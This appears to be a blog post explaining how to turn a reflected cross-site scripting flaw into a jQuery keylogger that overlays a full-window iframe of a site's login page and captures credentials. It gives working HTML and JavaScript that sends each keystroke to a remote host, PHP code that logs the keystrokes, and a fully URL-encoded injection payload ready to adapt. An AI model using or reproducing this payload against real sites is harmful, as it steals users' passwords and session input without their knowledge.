JavaScript keylogger in JQuery.

Published on by

I needed to capture someone's login credentials using cross site scripting. However I had 3 problems. Firstly there was no XSS on the login page, secondly the only XSS was reflected, meaning it only affected the current page and thirdly the HTTPOnly flag was set on the session meaning I couldn't hijack it.

So I came up with a solution that turns reflected cross site scripting into a crude form of persistent XSS and records the users keystrokes to a remote server. The idea is that you embed some XSS code in a vulnerable page on the same domain as the login page. Its important that its on the same domain so that we can access the contents of the iframe and hook the keyboard input. If its not on the same domain then the browser won't let you do this.

The general architecture of the exploit looks something like this.

The page with XSS spawns an iframe that fills up the contents of the window and places it over the top of everything currently in the window. The src of the Iframe should be whatever page you want to capture keystrokes from. It then adds a hook to the contents of the iframe so that every time there is a key press it polls back to a server controlled by the attacker.

The great thing about using the Iframe is that the user can navigate away from the page and the keystroke logger will still be running as the src of the parent Iframe remains the same and it is the parent Iframe in which the key logger resides.

The code

I used JQuery as I wanted the Key logger to be cross browser compliant, if the site your targeting has JQuery already included then you wont have to embed JQuery and can avoid the script tags all together. I also included a time stamp when sending the keystroke to the remote server as occasionally the GET requests were arriving out of order - having a time stamp enables you to reassemble the keystrokes in the correct order server-side.

<script src="http://code.jquery.com/jquery-1.6.1.min.js"></script>
<iframe src="/login.php" id="w" style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:2; background-color:#ffffff;" onload="$('#w').contents().keypress(function(event) {$.get('http://www.mysite.com/k.php?x='+event.which+'&t='+event.timeStamp,function(data){});});"></iframe>

You don't even need server side code to do the logging, as long as you have access to your web server error logs you should be able to see all the keystrokes arriving as GET requests. If you did want more friendly server-side code it might look something like this:

$f = fopen("/tmp/log.txt","a+");
fputs($f, $_SERVER['REMOTE_ADDR'] . "\t" . $_GET['t'] . "\t" . chr($_GET['x']) . "\n");
fclose($f);

Encoding the payload:

The full url encoded payload is shown below, both the initial Iframe src page and the destination script for the key strokes are marked in bold. Both will need to be changed if you are to use this.

%3Cscript+src%3D%22http%3A%2F%2Fcode.jquery.com%2Fjquery-1.6.1.min.js%22%3E%3C%2Fscript%3E%3Ciframe+src%3D%22%2Flogin.php%22+id%3D%22w%22+style%3D%22width%3A100%25%3B+height%3A100%25%3B+position%3Aabsolute%3B+top%3A0%3B+left%3A0%3B+z-index%3A2%3B+background-color%3A%23ffffff%3B%22+onload%3D%22%24%28%27%23w%27%29.contents%28%29.keypress%28function%28event%29+%7B%24.get%28%27http%3A%2F%2Fwww.mysite.com%2Fk.php%3Fx%3D%27%2Bevent.which%2B%27%26t%3D%27%2Bevent.timeStamp%2Cfunction%28data%29%7B%7D%29%3B%7D%29%3B%22%3E%3C%2Fiframe%3E